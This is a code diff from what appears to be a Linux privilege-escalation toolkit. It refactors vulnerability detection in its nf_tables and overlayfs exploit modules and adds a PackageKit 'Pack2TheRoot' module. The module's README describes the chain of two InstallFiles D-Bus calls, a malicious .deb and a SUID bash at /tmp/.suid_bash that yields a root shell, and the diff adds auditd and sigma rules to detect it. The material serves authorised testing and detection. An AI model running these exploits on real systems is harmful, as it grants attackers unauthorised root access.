bool userns_ok = ctx->host->unprivileged_userns_allowed;
bool nft_loaded = nf_tables_loaded();
if (!ctx->json) {
fprintf(stderr, "[i] nft_fwd_dup: kernel %s is in the vulnerable range\n",
v.release);
v->release);
fprintf(stderr, "[i] nft_fwd_dup: unprivileged user_ns+net_ns clone: %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" :
"could not test");
userns_ok ? "ALLOWED" : "DENIED");
fprintf(stderr, "[i] nft_fwd_dup: nf_tables module currently loaded: %s\n",
nft_loaded ? "yes" : "no (will autoload)");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] nft_fwd_dup: kernel vulnerable but user_ns clone "
"denied → unprivileged path unreachable\n");
@@ -585,7 +575,6 @@ static int bring_lo_up(void)
return 0;
}
#ifdef __linux__
static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
{
size_t off = 0;
@@ -596,7 +585,6 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
put_batch_end(batch, &off, (*seq)++);
return off;
}
#endif
/* ------------------------------------------------------------------
* --full-chain arb-write context. The technique:
@@ -617,8 +605,6 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
* mismatches as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
* ------------------------------------------------------------------ */
#ifdef __linux__
#define SPRAY_QUEUES_ARB 32
struct fwd_arb_ctx {
@@ -721,8 +707,6 @@ static int nft_fwd_dup_arb_write(uintptr_t kaddr,
return 0;
}
#endif /* __linux__ */
/* ------------------------------------------------------------------
* Exploit driver.
* ------------------------------------------------------------------ */
@@ -735,7 +719,8 @@ static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ct
return SKELETONKEY_PRECOND_FAIL;
}
/* Gate 1: already root? */
if (geteuid() == 0) {
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
if (!ctx->json)
fprintf(stderr, "[i] nft_fwd_dup: already running as root\n");
return SKELETONKEY_OK;
@@ -748,11 +733,6 @@ static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ct
return pre;
}
#ifndef __linux__
fprintf(stderr, "[-] nft_fwd_dup: linux-only exploit; non-linux build\n");
(void)ctx;
return SKELETONKEY_PRECOND_FAIL;
#else
if (!ctx->json) {
if (ctx->full_chain) {
fprintf(stderr, "[*] nft_fwd_dup: --full-chain — trigger + OOB-write "
@@ -946,7 +926,6 @@ static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ct
fprintf(stderr, "[-] nft_fwd_dup: unexpected child rc=%d\n", rc);
}
return SKELETONKEY_EXPLOIT_FAIL;
#endif /* __linux__ */
}
/* ------------------------------------------------------------------
@@ -958,7 +937,6 @@ static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ct
if (!ctx->json) {
fprintf(stderr, "[*] nft_fwd_dup: cleaning up sysv queues + log\n");
}
#ifdef __linux__
/* Best-effort drain of any leftover msg queues with IPC_PRIVATE
* key owned by us. SysV doesn't enumerate by key, but msgctl
* IPC_STAT walks /proc/sysvipc/msg to find them. */
@@ -979,13 +957,38 @@ static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ct
}
fclose(f);
}
#endif
if (unlink("/tmp/skeletonkey-nft_fwd_dup.log") < 0 && errno != ENOENT) {
/* harmless */
}
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: nf_tables / NETLINK_NETFILTER / SysV msg_msg
* groom all Linux-only kernel surface. Stub out so the module still
* registers and the top-level `make` completes on macOS/BSD dev boxes. */
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] nft_fwd_dup: Linux-only module "
"(nf_tables HW-offload OOB) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] nft_fwd_dup: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* ------------------------------------------------------------------
* Embedded detection rules.
* ------------------------------------------------------------------ */
@@ -49,16 +49,21 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include "../../core/host.h"
#include <stdint.h>
#include <sched.h>
#include <fcntl.h>
#include <errno.h>
@@ -71,13 +76,10 @@
#include <sys/mman.h>
#include <sys/syscall.h>
#include <arpa/inet.h>
#ifdef __linux__
#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#endif
/* ------------------------------------------------------------------
* Kernel-range table
@@ -103,19 +105,6 @@ static const struct kernel_range nft_payload_range = {
* Preconditions probe
* ------------------------------------------------------------------ */
static int can_unshare_userns(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static bool nf_tables_loaded(void)
{
FILE *f = fopen("/proc/modules", "r");
@@ -131,46 +120,44 @@ static bool nf_tables_loaded(void)
static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nft_payload: could not parse kernel version\n");
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json) fprintf(stderr, "[!] nft_payload: host fingerprint missing kernel version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced with the set-payload extension in 5.4. Anything
* below 5.4 predates the affected codepath entirely. */
if (v.major < 5 || (v.major == 5 && v.minor < 4)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 4, 0)) {
if (!ctx->json) {
fprintf(stderr, "[i] nft_payload: kernel %s predates the bug "
"(set-payload extension landed in 5.4)\n",
v.release);
v->release);
}
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nft_payload_range, &v);
bool patched = kernel_range_is_patched(&nft_payload_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
bool userns_ok = ctx->host->unprivileged_userns_allowed;
bool nft_loaded = nf_tables_loaded();
if (!ctx->json) {
fprintf(stderr, "[i] nft_payload: kernel %s is in the vulnerable range\n",
v.release);
v->release);
fprintf(stderr, "[i] nft_payload: unprivileged user_ns clone: %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" :
"could not test");
userns_ok ? "ALLOWED" : "DENIED");
fprintf(stderr, "[i] nft_payload: nf_tables module currently loaded: %s\n",
nft_loaded ? "yes" : "no (will autoload on first nft use)");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] nft_payload: kernel vulnerable but user_ns "
"clone denied → unprivileged exploit unreachable\n");
@@ -187,8 +174,6 @@ static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx
return SKELETONKEY_VULNERABLE;
}
#ifdef __linux__
/* ------------------------------------------------------------------
* userns + netns entry: become root in the new user_ns so subsequent
* netlink writes carry CAP_NET_ADMIN over our private net_ns.
@@ -801,8 +786,6 @@ static int nft_payload_arb_write(uintptr_t kaddr, const void *buf, size_t len,
return 0;
}
#endif /* __linux__ */
/* ------------------------------------------------------------------
* Exploit body.
* ------------------------------------------------------------------ */
@@ -814,7 +797,8 @@ static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ct
"exploit code can crash the kernel\n");
return SKELETONKEY_PRECOND_FAIL;
}
if (geteuid() == 0) {
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
if (!ctx->json)
fprintf(stderr, "[i] nft_payload: already running as root\n");
return SKELETONKEY_OK;
@@ -838,11 +822,6 @@ static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ct
}
}
#ifndef __linux__
(void)ctx;
fprintf(stderr, "[-] nft_payload: linux-only exploit; non-linux build\n");
return SKELETONKEY_PRECOND_FAIL;
#else
/* --- --full-chain path: resolve offsets in parent before doing
* anything destructive. */
if (ctx->full_chain) {
@@ -1074,7 +1053,6 @@ static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ct
fprintf(stderr, "[-] nft_payload: unexpected child rc=%d\n", rc);
}
return SKELETONKEY_EXPLOIT_FAIL;
#endif /* __linux__ */
}
/* ------------------------------------------------------------------
@@ -1092,6 +1070,32 @@ static skeletonkey_result_t nft_payload_cleanup(const struct skeletonkey_ctx *ct
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: nf_tables / NETLINK_NETFILTER / SysV msg_msg
* groom all Linux-only kernel surface. Stub out so the module still
* registers and the top-level `make` completes on macOS/BSD dev boxes. */
static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] nft_payload: Linux-only module "
"(nf_tables regset OOB) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] nft_payload: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t nft_payload_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* ------------------------------------------------------------------
* Detection rule corpus.
* ------------------------------------------------------------------ */
@@ -50,6 +50,7 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <stdio.h>
#include <stdlib.h>
@@ -115,19 +116,6 @@ static const struct kernel_range nft_set_uaf_range = {
* ------------------------------------------------------------------ */
#ifdef __linux__
static int can_unshare_userns(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static bool nf_tables_loaded(void)
{
FILE *f = fopen("/proc/modules", "r");
@@ -148,45 +136,43 @@ static skeletonkey_result_t nft_set_uaf_detect(const struct skeletonkey_ctx *ctx
(void)ctx;
return SKELETONKEY_PRECOND_FAIL;
#else
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nft_set_uaf: could not parse kernel version\n");
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json) fprintf(stderr, "[!] nft_set_uaf: host fingerprint missing kernel version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.1 (anonymous-set support). Anything below
* predates it report OK (not vulnerable to *this* CVE). */
if (v.major < 5 || (v.major == 5 && v.minor < 1)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 1, 0)) {
if (!ctx->json) {
fprintf(stderr, "[i] nft_set_uaf: kernel %s predates the bug "
"(anonymous-set support landed in 5.1)\n", v.release);
"(anonymous-set support landed in 5.1)\n", v->release);
}
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nft_set_uaf_range, &v);
bool patched = kernel_range_is_patched(&nft_set_uaf_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
bool userns_ok = ctx->host->unprivileged_userns_allowed;
bool nft_loaded = nf_tables_loaded();
if (!ctx->json) {
fprintf(stderr, "[i] nft_set_uaf: kernel %s is in the vulnerable range\n",
v.release);
v->release);
fprintf(stderr, "[i] nft_set_uaf: unprivileged user_ns clone: %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" :
"could not test");
userns_ok ? "ALLOWED" : "DENIED");
fprintf(stderr, "[i] nft_set_uaf: nf_tables module currently loaded: %s\n",
nft_loaded ? "yes" : "no (will autoload on first nft use)");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] nft_set_uaf: kernel vulnerable but user_ns clone "
"denied → unprivileged exploit unreachable\n");
@@ -762,7 +748,8 @@ static skeletonkey_result_t nft_set_uaf_exploit(const struct skeletonkey_ctx *ct
fprintf(stderr, "[-] nft_set_uaf: refusing without --i-know gate\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (geteuid() == 0) {
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
if (!ctx->json)
fprintf(stderr, "[i] nft_set_uaf: already running as root\n");
return SKELETONKEY_OK;
@@ -37,13 +37,17 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <fcntl.h>
#include <sched.h>
#include <sys/mount.h>
@@ -129,10 +133,18 @@ static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
/* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune
* because upstream didn't enable the userns-mount path until
* 5.11. Bail early for non-Ubuntu. */
if (!is_ubuntu()) {
* 5.11. Bail early for non-Ubuntu. Consult the shared host
* fingerprint (distro_id == "ubuntu" populated once at startup;
* the local is_ubuntu() helper is preserved for symmetry / future
* standalone use but the dispatcher path goes through ctx->host). */
bool ubuntu = ctx->host
? (strcmp(ctx->host->distro_id, "ubuntu") == 0)
: is_ubuntu();
if (!ubuntu) {
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs: not Ubuntu — bug is Ubuntu-specific\n");
fprintf(stderr, "[+] overlayfs: not Ubuntu (distro=%s) — bug is "
"Ubuntu-specific\n",
ctx->host ? ctx->host->distro_id : "?");
}
return SKELETONKEY_OK;
}
@@ -180,7 +192,7 @@ static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
* Ubuntu fix is per-release-specific; conservatively report
* VULNERABLE if version < 5.13 (covers most affected Ubuntu LTS),
* and recommend --active for confirmation. */
if (v.major < 5 || (v.major == 5 && v.minor < 13)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 13, 0)) {
if (!ctx->json) {
fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — "
"re-run with --active to confirm\n", v.release);
@@ -446,6 +458,28 @@ fail_workdir:
return SKELETONKEY_EXPLOIT_FAIL;
}
#else /* !__linux__ */
/* Non-Linux dev builds: overlayfs / unshare(CLONE_NEWUSER|CLONE_NEWNS) /
* setxattr("security.capability") are all Linux-only. Stub out so the
* module still registers and the top-level `make` completes on
* macOS/BSD dev boxes. */
static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] overlayfs: Linux-only module "
"(Ubuntu userns-overlayfs) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] overlayfs: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
/* ----- Embedded detection rules ----- */
static const char overlayfs_auditd[] =
@@ -40,14 +40,18 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <stdint.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
@@ -68,18 +72,10 @@ static const struct kernel_range overlayfs_setuid_range = {
sizeof(overlayfs_setuid_patched_branches[0]),
};
static int can_unshare_userns_mount(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
/* The unprivileged-userns precondition is now read from the shared
* host fingerprint (ctx->host->unprivileged_userns_allowed), which
* probes once at startup via core/host.c. The previous per-detect
* fork-probe helper was removed. */
static const char *find_setuid_in_lower(void)
{
@@ -98,39 +94,43 @@ static const char *find_setuid_in_lower(void)
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] overlayfs_setuid: could not parse kernel version\n");
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] overlayfs_setuid: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.11 when ovl copy-up was generalized.
* Pre-5.11 immune via a different code path. */
if (v.major < 5 || (v.major == 5 && v.minor < 11)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 11, 0)) {
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug "
"(introduced in 5.11)\n", v.release);
"(introduced in 5.11)\n", v->release);
}
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, &v);
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns_mount();
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
if (!ctx->json) {
fprintf(stderr, "[i] overlayfs_setuid: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] overlayfs_setuid: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] overlayfs_setuid: user_ns+mount_ns clone: %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" : "could not test");
userns_ok ? "ALLOWED" : "DENIED");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n");
}
@@ -197,7 +197,10 @@ static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ct
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
/* Consult ctx->host->is_root so unit tests can construct a
* non-root fingerprint regardless of the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] overlayfs_setuid: already root\n");
return SKELETONKEY_OK;
}
@@ -371,6 +374,32 @@ static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ct
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: overlayfs copy-up / unshare(CLONE_NEWUSER|CLONE_NEWNS)
* / mount("overlay", ...) are Linux-only. Stub out so the module still
* registers and the top-level `make` completes on macOS/BSD dev boxes. */
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] overlayfs_setuid: Linux-only module "
"(overlayfs setuid copy-up) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] overlayfs_setuid: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
static const char overlayfs_setuid_auditd[] =
"# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n"
"# Same surface as CVE-2021-3493; share the skeletonkey-overlayfs key.\n"
@@ -0,0 +1,72 @@
# pack2theroot — CVE-2026-41651
> 🟡 **PRIMITIVE / ported.** Faithful port of the public Vozec PoC.
> **Not yet validated end-to-end on a vulnerable host** — see
> _Verification status_.
## Summary
Pack2TheRoot is a userspace LPE in the **PackageKit** daemon
(`packagekitd`), the cross-distro package-management D-Bus abstraction
layer shipped on virtually every desktop and most modern server Linux
distros (Ubuntu, Debian, Fedora, Rocky/RHEL via Cockpit, openSUSE…).
Three cooperating bugs in `src/pk-transaction.c` chain into a TOCTOU
window between polkit authorisation and dispatch. **The exploit needs
no GUI session, no special permissions, and no polkit prompt** —
GLib's D-Bus-vs-idle priority ordering makes it deterministic, not a
timing race.
```
1. InstallFiles(SIMULATE, dummy.deb) ← polkit bypassed; idle queued
2. InstallFiles(NONE, payload.deb) ← cached_flags overwritten
3. GLib idle fires → pk_transaction_run() ← reads payload.deb + NONE
→ dpkg runs postinst as root → SUID bash → root shell
```
The payload `.deb` is built entirely in C inside the module
(ar / ustar / gzip-stored, no external `dpkg-deb` dependency).
## Operations
| Op | Behaviour |
|---|---|
| `--scan` | Checks Debian/Ubuntu host, system D-Bus accessible, `org.freedesktop.PackageKit` registered, and reads `VersionMajor/Minor/Micro` from the daemon. Returns VULNERABLE only when the version falls in `1.0.2 ≤ V ≤ 1.3.4`. The fix release (1.3.5, commit `76cfb675`, 2026-04-22) is pinned. |
| `--exploit … --i-know` | Builds the two `.deb`s in `/tmp`, fires the two `InstallFiles` D-Bus calls back-to-back, polls up to 120s for `/tmp/.suid_bash` to appear, then `execv`s it for an interactive root shell. `--no-shell` stops after the SUID bash lands. |
| `--cleanup` | Removes the staged `.deb` files; best-effort `unlink(/tmp/.suid_bash)` (the file is root-owned — needs root to remove); best-effort `sudo -n dpkg -r` the installed staging packages. |
| `--detect-rules` | Emits embedded auditd + sigma rules covering the file-side footprint (the D-Bus call itself isn't auditable without bus monitoring). |
## Preconditions
- Linux + Debian/Ubuntu (the PoC's built-in `.deb` builder is
Debian-family only; RHEL/Fedora ports would need an `.rpm` builder).
- PackageKit daemon registered on the system bus.
- PackageKit version in `[1.0.2, 1.3.4]`.
- Module built with `libglib2.0-dev` available (the top-level Makefile
autodetects `gio-2.0` via `pkg-config`; the module compiles as a
stub returning `PRECOND_FAIL` when GLib is absent).
## Side-effect notes
The exploit installs a malicious `.deb` (registered in dpkg's database
as `skeletonkey-p2tr-payload`) and drops `/tmp/.suid_bash`. Both are
intentionally visible — this is an authorised-testing tool, not a
covert toolkit. Run `--cleanup` (preferably as root) before leaving
the host.
## Verification status
This module is a **faithful port** of
<https://github.com/Vozec/CVE-2026-41651> into the SKELETONKEY module
interface. It has **not** been validated end-to-end against a known-
vulnerable PackageKit host inside the SKELETONKEY CI matrix.
Unlike the page-cache modules, `detect()` here is high-confidence:
the fix release is officially pinned and the version is read directly
from the daemon over D-Bus, so a `VULNERABLE` verdict is grounded in
upstream's own version metadata rather than a heuristic.
**Before promoting to 🟢:** validate the trigger end-to-end on a
Debian/Ubuntu host with PackageKit ≤ 1.3.4 (the Vozec repo ships a
Dockerfile that builds PackageKit 1.3.4 from source — that is the
recommended bench).
@@ -0,0 +1,53 @@
# NOTICE — pack2theroot
## Vulnerability
**CVE-2026-41651** — Pack2TheRoot. PackageKit TOCTOU local privilege
escalation in `src/pk-transaction.c`: two cooperating bugs allow
`cached_transaction_flags` and `cached_full_paths` to be overwritten
between polkit authorisation and dispatch, and a third bug causes the
dispatcher to read those cached values at fire time rather than at
authorisation time. GLib's D-Bus-vs-idle priority ordering makes the
overwrite deterministic, not a timing race.
CVSS 8.1. Affects PackageKit `1.0.2` through `1.3.4` (over a decade
of releases). Fixed in **PackageKit 1.3.5** (upstream commit
`76cfb675`, 2026-04-22).
## Research credit
Discovered and disclosed by the **Deutsche Telekom security team**.
> Telekom advisory: <https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html>
> Upstream advisory: <https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv>
The standalone proof-of-concept exploit the SKELETONKEY module is
ported from is by **Vozec**:
> Reference PoC: <https://github.com/Vozec/CVE-2026-41651>
The Vozec repository carries no `LICENSE` file at the time of porting;
the SKELETONKEY-distributed `skeletonkey_modules.c` is original
SKELETONKEY-licensed code (MIT) that reproduces the PoC's deb-builder
(ar / ustar / gzip-stored) and D-Bus call sequence. Independent
research credit belongs to the people above.
A CTF-style lab by **dinosn** (Dockerised PackageKit 1.3.4 build with
the exploit pre-set) is a useful reference bench:
> CTF lab: <https://github.com/dinosn/pack2theroot-lab>
## SKELETONKEY role
`skeletonkey_modules.c` wraps the PoC in the standard
`skeletonkey_module` detect / exploit / cleanup interface, adds the
embedded auditd + sigma rules, and reads PackageKit's
`VersionMajor/Minor/Micro` D-Bus properties so `detect()` can give a
high-confidence verdict (the fix release 1.3.5 is officially pinned —
no version-fabrication caveat).
## Verification status
**Ported, not yet validated end-to-end on a vulnerable host.** See
`MODULE.md` for the recommended verification path (Vozec's Dockerised
PackageKit-1.3.4 bench).
@@ -0,0 +1,28 @@
# Pack2TheRoot (CVE-2026-41651) — auditd detection rules
#
# PackageKit TOCTOU LPE: two back-to-back InstallFiles D-Bus calls
# install a malicious .deb as root, whose postinst drops a SUID bash
# in /tmp. The D-Bus traffic itself is not auditable without bus
# monitoring (dbus-monitor / dbus-broker logs), so these rules cover
# the file-side footprint.
#
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
# skeletonkey --detect-rules --format=auditd | sudo tee \
# /etc/audit/rules.d/99-skeletonkey.rules
# The exact SUID payload path the published PoC lands
-w /tmp/.suid_bash -p wa -k skeletonkey-pack2theroot
# Any setuid bit set on /tmp/.suid_bash by anyone
-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \
-F path=/tmp/.suid_bash -k skeletonkey-pack2theroot-suid
# The PoC drops two .deb files in /tmp immediately before the install
-a always,exit -F arch=b64 -S openat,creat \
-F dir=/tmp -F success=1 -k skeletonkey-pack2theroot-deb
# packagekitd-driven dpkg/apt activity initiated by a non-root caller
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/dpkg \
-F auid!=0 -k skeletonkey-pack2theroot-dpkg
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \
-F auid!=0 -k skeletonkey-pack2theroot-apt
@@ -0,0 +1,32 @@
title: Possible Pack2TheRoot exploitation (CVE-2026-41651)
id: 3f2b8d54-skeletonkey-pack2theroot
status: experimental
description: |
Detects the file-side footprint of Pack2TheRoot (CVE-2026-41651): a
non-root user triggers PackageKit InstallFiles, dpkg runs a postinst
that drops /tmp/.suid_bash (a setuid bash), and a privileged shell
follows. The trigger itself is two back-to-back D-Bus calls with no
polkit prompt — only visible via dbus-monitor or the file side
effects flagged below.
references:
- https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html
- https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv
- https://github.com/Vozec/CVE-2026-41651
logsource:
product: linux
service: auditd
detection:
suid_drop:
type: 'PATH'
name|startswith:
- '/tmp/.suid_bash'
- '/tmp/.pk-payload-'
- '/tmp/.pk-dummy-'
not_root:
auid|expression: '!= 0'
condition: suid_drop and not_root
level: high
tags:
- attack.privilege_escalation
- attack.t1068
- cve.2026.41651
@@ -0,0 +1,710 @@
/*
* pack2theroot_cve_2026_41651 SKELETONKEY module
*
* Pack2TheRoot (CVE-2026-41651) PackageKit TOCTOU LPE.
*
* Three cooperating bugs in PackageKit's `src/pk-transaction.c`:
* BUG 1 InstallFiles() stores cached_transaction_flags and
* cached_full_paths unconditionally, with no state guard.
* BUG 2 pk_transaction_set_state() silently rejects backward
* transitions (READY WAITING_FOR_AUTH).
* BUG 3 pk_transaction_run() reads the cached flags at dispatch
* time, not at authorisation time.
* BYPASS The SIMULATE flag skips polkit entirely.
*
* Two back-to-back async D-Bus InstallFiles() calls first with
* SIMULATE (bypasses polkit, queues a GLib idle callback), then
* immediately with NONE + the malicious .deb (overwrites the cached
* flags/paths before the idle fires). GLib priority ordering makes
* this deterministic, not a timing race. postinst of the malicious
* .deb installs a SUID bash at /tmp/.suid_bash root shell.
*
* This module is a faithful port of the public PoC by Vozec
* (github.com/Vozec/CVE-2026-41651); the deb-builder helpers
* (CRC-32, gzip-stored, tar entry, ar entry, build_deb) and the
* D-Bus call sequence are reproduced from that PoC. The original
* disclosure was by the Deutsche Telekom security team. See
* NOTICE.md.
*
* Build adaptation: the module requires GLib/GIO for D-Bus. The
